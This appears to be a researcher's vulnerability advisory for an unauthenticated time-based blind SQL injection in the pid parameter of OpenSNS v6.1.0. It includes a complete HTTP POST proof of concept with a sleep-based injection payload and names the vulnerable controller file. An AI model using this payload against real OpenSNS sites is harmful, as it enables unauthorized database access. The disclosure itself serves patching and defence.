OpenSNS v6.1.0 have unauthorized sleep blind injection SQL vulnerability pid parameter

[CoCoCoCoCoColi]

OpenSNS v6.1.0 have unauthorized sleep blind injection SQL vulnerability pid parameter

A unauthorized sleep blind injection SQL vulnerability was discovered in OpenSNS CMS v6.1.0 about pid parameter

this CMS offical website

http://www.opensns.cn/
if you want to download source code ,offical website need china phone number,so i downlaod it ,put it https://github.com/CoColizdf/CVE/blob/master/opensns6.10.zip

vul url

http://192.168.95.131/uploads_download_2019-07-16_5d2d5d4697d88/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html

poc

POST /index.php?s=%2Fhome%2Faddons%2F_addons%2Fchina_city%2F_controller%2Fchina_city%2F_action%2Fgetcity.html HTTP/1.1
Host: 192.168.95.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 116
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.95.131
Referer: http://192.168.95.131/uploads_download_2019-07-16_5d2d5d4697d88/index.php?s=/ucenter/config/index.html
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

cid=0&pid%5B0%5D=%3D%28select%2Afrom%28select%2Bsleep%283%29union%2F%2A%2A%2Fselect%2B1%29a%29and+3+in+&pid%5B1%5D=3

Vulnerability file

Addons/ChinaCity/Controller/ChinaCityController.class.php:50

from CoColi (Chaitin Tech)